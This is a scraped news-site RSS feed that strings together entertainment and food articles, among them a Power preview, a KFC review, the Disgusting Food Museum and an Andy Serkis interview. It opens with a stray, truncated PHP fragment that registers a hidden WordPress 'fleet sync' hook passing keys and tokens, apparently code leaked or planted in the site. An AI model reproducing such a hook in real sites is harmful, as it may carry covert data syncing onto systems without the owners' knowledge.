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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); dishes – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 08 Sep 2019 10:15:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png dishes – Brief News https://briefnews.eu 32 32 Power’s La La Anthony Dishes About LaKeisha’s ‘Dangerous’ Desire to Prove She’s Tommy’s ‘Ride or Die’ https://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/ https://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/#respond Sun, 08 Sep 2019 10:15:15 +0000 http://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/

Power‘s LaKeisha may not be making the best choices this season — see also: ditching a murder weapon in the Hudson River — but, La La Anthony asks, who hasn’t done really stupid things for love?

“All she wants to do is prove to Tommy that she’s ride-or-die, and she’s in it until the end,” Anthony tells TVLine, “but I don’t think she really understands what that means until she’s so far in that you’ve just got to stay at that point.”

This Sunday’s episode (Starz, 8/7c) will find Cash’s mom continuing her education in the drug business, courtesy of boyfriend Tommy. And though Keisha might have an inkling of what Tommy does to keep her in designer purses and such, “she’s naive about it,” Anthony says. “She knows it’s a drug game, but she doesn’t know the ins and outs or the murders and different things that happen.” She refers to the scene in a previous season where Tasha asked her man if he’d ever killed anyone, and was relieved to hear him say no. (As we all know, Tommy was lying. A lot.)

“You see a lot of doubt,” Anthony adds, previewing episodes to come. “But then she pushes through it, because she ultimately just wants this happy family.”

Series boss Courtney Kemp observes that there’s a sharp, telling distinction between LaKeisha and her former bestie, Tasha — though a lot of people miss it.

“The characterization of Tasha as ride-or-die I always find really interesting, because she never was,” the EP says. When Ghost said he didn’t want to be a drug dealer anymore, for instance, “She’s like, ‘Shut up, move weight,’” Kemp says. “Everyone’s like, ‘Tasha’s his ride-or-die.’ I’m like, ‘No. To ride is like, ‘I don’t want to do this anymore’ and you’re like, ‘Cool, I got you.’ She was like, ‘Stay with the program. This is the program.’ LaKeisha is much more like, ‘OK, if this is the program, this is what I’m going to do… If I can help you, I’m staying.’”

But that degree of loyalty may have its price: Anthony hints that later on this season, Tasha will “a hundred percent” have to cross barriers that she’s set up for herself. “And then it’s interesting to see: How far will she go before she either goes too far or decides, ‘I can’t do this anymore?’”

Or, as Kemp succinctly warns: “The riding and the dying could both take place. Or not.”

Do you have thoughts about Tasha’s increasing awareness of Tommy’s organization? Hit the comments and let us know!

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]]> https://briefnews.eu/powers-la-la-anthony-dishes-about-lakeishas-dangerous-desire-to-prove-shes-tommys-ride-or-die/feed/ 0 Harley Quinn Trailer: Kaley Cuoco Dishes Out Big Bangs! Pows! Thunks! as Gotham’s Infamous Queenpin https://briefnews.eu/harley-quinn-trailer-kaley-cuoco-dishes-out-big-bangs-pows-thunks-as-gothams-infamous-queenpin/ https://briefnews.eu/harley-quinn-trailer-kaley-cuoco-dishes-out-big-bangs-pows-thunks-as-gothams-infamous-queenpin/#respond Sun, 21 Jul 2019 11:13:52 +0000 http://briefnews.eu/harley-quinn-trailer-kaley-cuoco-dishes-out-big-bangs-pows-thunks-as-gothams-infamous-queenpin/

“Big bang” takes on a whole new meaning for Kaley Cuoco in her upcoming animated series Harley Quinn, a new trailer for which was released Saturday night in conjunction with the DC Universe panel at San Diego Comic-Con.

Mouthing off as Gotham’s saucy queenpin, infamously played by Margot Robbie in Suicide Squad, Cuoco, who is also an executive producer on the show, kicks series butt — and to the tune of “Love Is All Around,” the Mary Tyler Moore Show theme, no less.

Spotted trading blows and/or glances with the anti-heroine in the action-packed clip are the familiar faces of, among others, Batman, serious as ever, Poison Ivy and the Joker, who winds up on the receiving end of a punch as well as a punchline.

The irreverent (and that’s putting it mildly!) cartoon — whose pilot was screened during the panel as well — is set to make its debut on the digital subscription service this fall. Its leading lady, of course, just wrapped a wildly successful 12-season run as Penny on CBS’ already-missed Big Bang Theory.

To check out the trailer, press PLAY on the video above. Then riddle us this: Will you be going on Harley Quinn’s wild ride? Or will you hold out for Birds of Prey (and the Fantabulous Emancipation of One Harley Quinn) to hit theaters?

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]]> https://briefnews.eu/harley-quinn-trailer-kaley-cuoco-dishes-out-big-bangs-pows-thunks-as-gothams-infamous-queenpin/feed/ 0 I tried KFC’s 3 new chicken and waffle dishes, and there was a clear winner https://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/ https://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/#respond Tue, 20 Nov 2018 14:46:38 +0000 http://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/ kfc chicken and wafflesAnay Katyal/INSIDER

  • On November 12, KFC added three new meals made with chicken and waffles to its menu.
  • The available options are chicken tenders, fried chicken, and a sandwich with Belgian Liège-style waffle buns, along with a side of Mrs. Butterworth’s syrup. 
  • The fried chicken and chicken tenders remain the same as the fast-food’s other chicken menu items, but the Liège-style waffles are sweeter and doughier than expected.
  • My favorite was the chicken and waffle sandwich, which had just the right balance of spicy and sweet for my taste.

While pairing fried chicken and waffles together predates Colonel Sanders, it isn’t until this year that KFC finally decided to try its hand at the iconic dish.

After a trial at locations in Charlotte, North Carolina, this past summer, KFC started serving chicken and waffles nationwide from November 12 and will offer the dishes through December 31. 

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]]> https://briefnews.eu/i-tried-kfcs-3-new-chicken-and-waffle-dishes-and-there-was-a-clear-winner/feed/ 0 The 14 most repulsive dishes in Sweden’s new Disgusting Food Museum https://briefnews.eu/the-14-most-repulsive-dishes-in-swedens-new-disgusting-food-museum/ https://briefnews.eu/the-14-most-repulsive-dishes-in-swedens-new-disgusting-food-museum/#respond Mon, 05 Nov 2018 19:19:39 +0000 http://briefnews.eu/the-14-most-repulsive-dishes-in-swedens-new-disgusting-food-museum/ Bull Penis The Disgusting Food MuseumAnja Barte Telin / The Disgusting Food Museum

One of the most unappealing museums in the world has just opened in Malmö, Sweden — for members of the public who are brave enough to visit, that is.

The Disgusting Food Museum features such delicacies as bull penis (pictured above), spicy rabbit heads, mouse wine, and tomato juice with a pickled sheep’s eye.

You might remember the museum’s curator, Samuel West, from the ironically popular Museum of Failure, which is also located in Sweden.

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“When I opened the Museum of Failure I was amazed at the impact it had. If a simple fun exhibit could change peoples’ attitude towards failure, what other assumptions could an exhibit change?” West wrote in a statement sent to INSIDER.

“Our current meat production is terribly environmentally unsustainable, and we urgently need to start considering alternatives. But many people are disgusted by the idea of eating insects and sceptical about lab-grown meat. … If we can change our notions of what food is disgusting or not, it could potentially help us transition to more sustainable protein sources.”

Guests who visit the exhibition can see, smell, and taste 80 different foods, which are considered a luxury in some locales and absolutely vile in others.

Scroll down to have a look at some of the most disgusting offerings, but be warned: This article is not for the faint-hearted.

Cuy, or roasted guinea pig, is one of Peru’s most famous dishes. The indigenous animal has been a staple in the Andean diet for about 5,000 years.

Anja Barte Telin / The Disgusting Food Museum

Source: Condé Nast Traveler.

Menudo is a Mexican soup made of the boiled stomach lining of cattle and sheep. It’s rubbery in texture and tastes slightly gamey, according to the museum.

Anja Barte Telin / The Disgusting Food Museum

Kumis is a beverage traditionally consumed by farming communities in Russia and Central Asia. Kumis is made of mare’s milk that’s been fermented, making it slightly alcoholic and sparkling.

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Source: the Encyclopedia of Microbiology.


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Enlarge / Artist’s reconstruction of the east and west mounds at Çatalhöyük. In the foreground, you can see the newer west mound, with the older east mound decaying in the background. (credit: Çatalhöyük Research Project)

Around 8,200 years ago, melting glaciers poured fresh, cold water into the North Atlantic, causing the climate in Europe and Southwest Asia to turn suddenly colder and drier for about the next 160 years. Evidence of that event shows up in ice cores from Greenland, tree rings and lake sediments in Europe, and lake sediments and peat deposits in Southwest Asia.

How did it affect people who were only beginning to adapt to agriculture? Archaeologists can’t confidently link what was happening at an archaeological site, like Çatalhöyük in Turkey, with what pollen and oxygen isotopes say was happening 160km (99.4 miles) away at Lake Nar, because local conditions can vary.

New chemical analysis of animal-fat residue in broken pottery has now given us a clearer look at how changes in the North Atlantic impacted life at Çatalhöyük. Local climate turned slightly cooler year-round and noticeably drier in the summer, which would have reduced crop yields and food availability for local farmers’ cattle and goats. Equipped with direct evidence of local climate shifts, archaeologists examined artifacts at the site to understand how people coped with the lean times.

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If fast-paced competition was on your plate for tonight, Served will satisfy your craving. In this local co-op game, you’ll be pitted against up to 3 other players and challenged to see who can serve up the most dishes, dunking ingredients onto plates to fight for the highest score.

You’ll be scrambling for ingredients that are bouncing around Served‘s various arenas, fighting your opponents as you work to dunk foods onto your plate in order to gain points. Pay attention to each plate in the arena, as the third plated food will finish the plate and earn extra points. If you’re extra attentive to the special foods for the round and plate with only those, you’ll earn even more points to hold over your opponents.

With just 4 simple actions, the learning curve isn’t too steep, letting even novices overcome experienced chefs by moving, jumping, and tackling/shooting food. With over 6 arenas and 4 modes to test out your cabbage b-ball skills on, Served is a great party for aggressive foodies.

You can try the demo of Served on Itch.io here. You can also check out the developers, Rocco Commisso, Micheal Trentchev, Max Hunt, and Rory O’ Connor, on their websites!

]]> https://briefnews.eu/served-dishes-out-a-basketball-inspired-local-co-op-food-frenzy/feed/ 0 This Conservative Convert Dishes Out ‘Red Pills’ Online https://briefnews.eu/this-conservative-convert-dishes-out-red-pills-online/ https://briefnews.eu/this-conservative-convert-dishes-out-red-pills-online/#respond Fri, 06 Apr 2018 06:03:59 +0000 http://briefnews.eu/this-conservative-convert-dishes-out-red-pills-online/

It was the very first event of the Conservative Political Action Conference in February, and Candace Owens could hardly believe she was speaking. “I uploaded a video onto YouTube five months ago, and I am sitting on the CPAC stage today,” the 28-year-old said, a made-to-inspire nod to more than 1,000 acolytes gathered for her panel titled “An Affair to Remember: How the Far Left and the Mainstream Media Got in Bed Together.”

Two years ago, she was a liberal in Stamford, Connecticut, trying to start an online database to allow social media users to report online bullying — a nod to her own traumatic racial harassment as a high school track athlete and cheerleader. But Owens was criticized by progressives concerned the site, Social Autopsy, could be abused to “dox” innocent people. The backlash led in part to her political conversion. She watched as mainstream outlets shamed her, in her view. The only site that covered the story accurately was the “white, nationalist” Breitbart News, she said to Dave Rubin, a YouTube news personality. This was in April 2016, and Owens found confirmation in Trump, who was on the television near daily claiming the media was lying. “I realized my friends were my enemies, and my enemies were my friends,” Owens says.

We are living in such a special time. We are watching the slow, and painful, death of the mainstream media.

Candace Owens

Owens says she spent a year to “rebuild as a person,” shell-shocked by the negative coverage of Social Autopsy. Now she is a brimstone-raining headliner for Republican rallies. Her first video, featuring her satirically “coming out” to her parents as a conservative, drew a quarter-million views after its posting last August. It has since spawned dozens more under her channel, Red Pill Black, a nod to The Matrix and her purported political awakening. Armed with undeniable charisma and a well-sculpted persona, her online popularity has led to appearances on Fox News and dozens of radio, TV and online appearances, carried on the back of videos like “How to Escape the Democrat Plantation” and, her most popular one thus far, “WTF? Black Lives Matter Has a List of Demands for White People!”

The director of urban engagement for Turning Point USA, a nonprofit engaging young conservatives, Owens appears poised to break through from internet famous to actual famous. In the whirlwind of CPAC, she took selfies with Chris Loesch (husband and manager of media personality/NRA spokeswoman Dana Loesch), rubbed elbows with Sebastian Gorka (bombastic fired Trump White House aide turned Fox News pundit) and then sprinted off to a meeting at the Trump hotel on Pennsylvania Avenue. The latter trumped an interview with OZY, as it turned out, though she texted us her apologies: “This day has been impossible.”

It’s not difficult to see why Owens is in such demand. Outspoken Black conservatives often soar to stardom quickly as Republicans seek to elevate their comparatively few minority voices. Their moments can be fleeting, but the former Vogue employee and University of Rhode Island journalism grad has the chops to stick around. Her direct-to-camera appeals are filled with fury, but also an acerbic wit reminiscent of Tomi Lahren’s star-making “final thoughts” segments on TheBlaze — except more clever.

In that sense, Owens is more Omarosa Manigault-Newman, the skilled if confounding agitator who turned her Apprentice appearances into a White House gig, than Diamond and Silk, the YouTube personalities who opened Trump campaign rallies with a shtick crossing into the absurd. Owens praises Trump’s tax cuts and his cultural stances, but rarely advocates specific policies (she has said she supports gay marriage but hasn’t arrived at a position yet on abortion). Her online persona’s most consistent belief is outrage. “Black people are not a monolith,” she says in another broadside aimed at “the media.” “We all have different ideas, and I hope they keep pretending we don’t exist, because that’s the exact market I’m after.”

But her authenticity has come under question. Other vloggers note that Owens once wrote the tea party was “bat-shit crazy” in a post for Degree180, a news site she helped found after leaving a private equity firm in 2015. Her overnight ascent has frustrated other African-American Republicans, inspiring intense, and perhaps envious, reactions. Wayne Dupree, a conservative blogger and award-winning podcast host, interviewed Owens. But when asked by email to comment on her, he wondered why this story wasn’t about him. Eugene Craig, a former vice chairman of the Maryland GOP, said he considers Owens “an opportunistic person who, for the development of her own celebrity, uses and attacks Black culture while claiming to do minority engagement.” He criticizes her for posting videos mocking Colin Kaepernick, the protesting quarterback. “So original,” Craig gripes. “She’s a Tomi Lahren in blackface.”

Of course, Lahren, now a Fox News contributor, has achieved incredible success to ease her notoriety for racially charged statements. And Owens could too, helped by a shift from traditional media — which the Edelman Trust Barometer recently reported has become “the least trusted institution” globally — that has buoyed the careers of everyone from Lahren to Ben Shapiro, the Daily Wire editor in chief and popular podcaster. As conservatives have gone from railing against the mainstream media to abandoning it altogether, they’ll tune in to new platforms and new people like Owens. “We are living in such a special time. We are watching the slow, and painful, death of the mainstream media,” she said at CPAC, joining a co-panelist to “wave goodbye” to the media gathered in the back. “It was fun standing up there and pointing to them, saying, ‘You’re fake news! You’re fake news! You’re fake news!’” Owens said in her subsequent radio interview with Dupree, reveling in the spectacle. “I felt like Donald Trump there for a second.”

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Gelato University Dishes Up Italian Ice Cream Lessons

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  • Food stylists work with food to create the perfect photo for an ad, magazine, or publication.
  • Each person has their own way of arranging food on the plate.
  • Katie Farmand is a full-time food stylist who spends her day prepping, cooking, styling, and sometimes tasting her projects.


We all are a guilty of taking an instagram or two of our lunch, but very few of us have mastered the art of making food that looks as good on camera as it does in real life. These people are food stylists.

A food stylist is a person who plates and styles food that’s featured in everything from promotional photos to magazine spreads. They work closely with chefs, editors and photographers to make food look as good as possible.

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Andy Serkis‘ Ulysses Klaue had a bit part to play in Avengers: Age of Ultron, but he’s a more substantial threat in Black Panther.

Like with the rest of our set visit interviews, we didn’t learn too many plot details when we sat down with Serkis. But as you’d imagine, the man behind Gollum, Caesar and numerous other digital and non-digital heroes and villains has a lot to say about bringing a character to life, especially one as nasty as Klaue.

So read on to learn what Klaue has been up since losing a limb in Age of Ultron, how Serkis decided on the character’s accent, and what it’s like to work with director Ryan Coogler.

Note: This was a group interview conducted in a press conference format with assembled journalists.

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How long have you known that you were going to be part of this movie? 

Klaue appears in Age of Ultron, and the way that all happened was, they were working with The Imaginarium, which is my performance-capture studio. We were all working and consulting back on Ultron, working with James Spader and Mark Ruffalo and initiating them into the process of motion-capture because they were both using performance-capture. We were providing services for that. Then Joss Whedon said, “Hey, this is crazy, why don’t you come and be in the show?” And I thought, “Oh, alright, that’d be fun.” So that happened and then, of course, when this came along, I knew that he was part of the Black Panther story. It’s just really great being back.

Is there a different level of connection that you’re able to get with this character? Is there a difference from motion capture?

No, I think everyone knows now really that, at the end of the day, it’s just acting and it doesn’t really matter what you’re wearing. It’s just another costume. You’re looking into another actor’s eyes and you’re communicating with them and you’re playing the role that you’re playing, whether it’s an ape or a human or whatever. Obviously the next Planet of the Apes movie is coming out soon, and the level of connection in that is exactly the same as the level of connection I have with my fellow actors in this.

What has Klaue been up to since Age of Ultron?

Well, he’s just basically been causing mayhem in the world, on minor and major levels. He’s a smart guy in the sense that he’s a businessman as well as an arms dealer. He manages to cover his tracks. He has a mercenary army that works with him in different locations all around the world and he’s able to go down rabbit holes and appear in other places. So he’s got the smarts, but he’s also a little whacked out.

How did you come to that voice?

We decided that Klaue, we would make him South African, a very strong Afrikaans, quite bullish, in a very … edging towards not being particularly a politically correct person, let’s say. [Laughs] He’d fit in the White House quite perfectly. I didn’t say that! I didn’t say that! Or, in fact, in Britain at the moment.

No, it was quite a smart decision, actually, I think. It gives him a real edge. Also, because of the relationship to Wakanda as well, which is obviously a misunderstood African nation, it fits very well politically that he was of South African descent at a time when, of course, he grew up through apartheid.

Klaue’s a very prolific adversary in the comics, and now we’re working with another adversary, Killmonger. Are you guys working in tandem together against T’Challa, or do you have your own separate plans?

Klaue doesn’t really trust or work with anybody. He is his own man. He does deals with people, he interacts, but he doesn’t form allegiances or alliances with anyone. Ultimately, he’s a lone wolf. He has these pop-up groups wherever he happens to be in the world. So he and Killmonger aren’t working together, as such.

Are we going to see a closer iteration of Klaue to the comics?

We’ve established the character and the character is kind of what we saw in Ultron, our version of Klaue. He obviously had his arm chopped off and he has a weapon, which we will discover. I don’t know if I’m allowed to say too much about. Am I allowed to talk about Klaue’s weapon?

[Publicist: No, let’s keep that for now. Surprise, surprise.]

He’s a very good donut-thrower.

Villains, especially super villains in comic book movies, there’s a danger of coming across too one-sided. What kind of balance are you able to find with Klaue to make him a full character?

I think, hopefully, he’s quite grounded. I think he’s not the one color, he’s different shades. He’s got a humorous side to him, he’s got a sense of humor. But he’s equally very deadly and he’s quite mercurial and transitions emotionally very quickly. He turns on a sixpence. He can be outwardly friendly to some people or funny or amusing, and then turn. He definitely feels grounded. There’s a darkness to him which grounds him.

Having worked on so many other huge franchises, what stands out about Black Panther specifically and how Ryan [Coogler] works?

In the short time that I’ve worked with Ryan, which is literally two days, he creates the most incredible atmosphere on set. He’s really is the most subtle actors’ director. He knows what he wants, but he allows you to play and explore with the other cast members, and then gives great, very specific notes. I was told, actually, because of course Martin Freeman I’ve worked with before in, what was it, what was it – oh, The Hobbit. [Laughs] We’ve kind of faced off each other there. We were emailing each other before I came down, and Martin said, “Ryan loves the freedom of what actors give and then bouncing back and circling around.” So there really is a great deal of play in this, which is really exciting.

In the context of the scene you guys are filming today, what is Klaue’s first reaction when he sees T’Challa walk in the door?

Well, something I can say without giving too much away, he’s aware … it’s not a great surprise, put it that way. Yeah, it’s not a great surprise.

You’ve done a lot of work now behind the camera. How has that translated to how you approach a film now?

I’m actually right in the middle of posting two films at the moment as well. This is actually great. I’m really enjoying not having the responsibilities. I’m right in the thick of it with Jungle Book that I’m in post on, and also another small independent film that I’ve directed at the end of last year called Breathe, which is coming out at the end of this year with Andrew Garfield and Claire Foy. They’ve just turned in the most amazing performances.

I’ll tell you what I find. When I was on Jungle Book, I found that I’m not the sort of actor-director who likes to direct himself as an actor, if you like. I find that I don’t like to split my skills. I much, much prefer – I mean, I love this, coming in and just digging straight into the character and getting into it. Lots of actors do direct themselves in movies, it’s just not my thing. I like to concentrate on one or the other and bury myself into that world.

In the movie version of Klaue, will we see a longstanding connection with Wakanda?

He’s got a very specific relationship to Wakanda.

I was gonna say, the brand on your neck is still there. 

Yeah, exactly. I hope you’re not giving too much away. So he’s got a bit of a love-hate relationship with it, really. He certainly has discovered things about it that nobody else has, and we discover that in this movie. He’s one of the few people who’s actually been to Wakanda and he reveals quite a lot about it.

Does he have a personal relationship with T’Challa?

Again, he doesn’t really have a personal relationship with anyone. But they’ve definitely crossed paths. They spar.

What was new for you about the character, the thing that you were like, “Oh, okay, I get to play this side of him”?

In this one, there is quite a lot more humor, actually, which is great. Again, it’s that thing where you don’t know whether he’s actually really enjoying this, or whether he’s playing enjoying this, whether he’s really laughing or just hiding behind it. It’s very interesting the way Ryan and the writers have put it together.

A lot of actors talk about villains who don’t look at themselves as villains. They’re always the heroes of their own story or they have their own goal. Does Klaue look at himself as a villain?

Of course he doesn’t. No, no, no. He thinks what he’s doing is existing in this world, in the way that he’s created his own moral relativity, really. He’s quite nihilistic. He’s squared it with himself. He knows life is cheap and you’re either at the bottom of the pile or you’re at the top of the pile, and that’s it. It’s very, very simple. It’s quite clear to him where his moral compass is. What he doesn’t like is hypocrisy. He absolutely despises hypocrisy. So uncovering that is definitely part of the way I’m playing him, anyway.

Building off of that, can you talk about his goals? We know this particular scene we’re watching is about a third of the way through the film. It’s in South Korea. Can you talk about what Klaue is doing there?

At this point in time, he’s actually been … Can I say? I don’t know what I can say, really. But he’s been caught. He’s being held and interrogated. They’re trying to, basically, work out what he’s planning to do.

A huge element of the Klaue character in the comics is the fact that he kills T’Chaka, which isn’t something that’s being put into these movies. So I’m curious how you’re able to use the comics as a source material for your performance.

I think with all of these, it’s about how you expand on a character and bring your take on it. Obviously, some of the plotlines are going to be different, obviously they’re not going to be exactly the same. So it’s importing the essence of those stories and the character into this particular version and retelling of those tales.

What kind of research did you put into Klaue?

Again, it’s just so hard without giving away too much. I was just about to launch into it, but I just don’t want to say too much.

We won’t tell.

Gosh, what can I say? Just in terms of the weapon he might or might not have … He is actually quite a brilliant assembler of weaponry and technology and putting those together. And so I kind of looked a lot into that, to be very superficial about it.

Here’s one that’s not plot, so you can maybe answer. If you could play any character [in the MCU], who would you do?

Oh, golly. Wow. Let me think. I’ve always wanted to play Iron Man, actually. I think Iron Man’s a great character. I’d like to play Iron Man. Next time, when they make them again.

So your last few characters like Caesar and Snoke are both enigmatic and powerful leaders. What kinds of qualities are you able to draw from past roles like those that you’re able to put into Klaue as well?

I don’t know if Klaue thinks of himself as a leader. Because he is just a solo operator, ultimately. He is a mercenary, literally. He came out of the army and became a mercenary and started amassing on a small scale, getting to deals and working with agencies and building up his own networks. In this case, it is slightly different to a lot of the roles I’ve played, in that he’s the master of his own destiny and he is very accepting of that. I don’t think he ever feels like he’s leading a gang or a mercenary army. They fit into his – he picks people up as and when he needs them.

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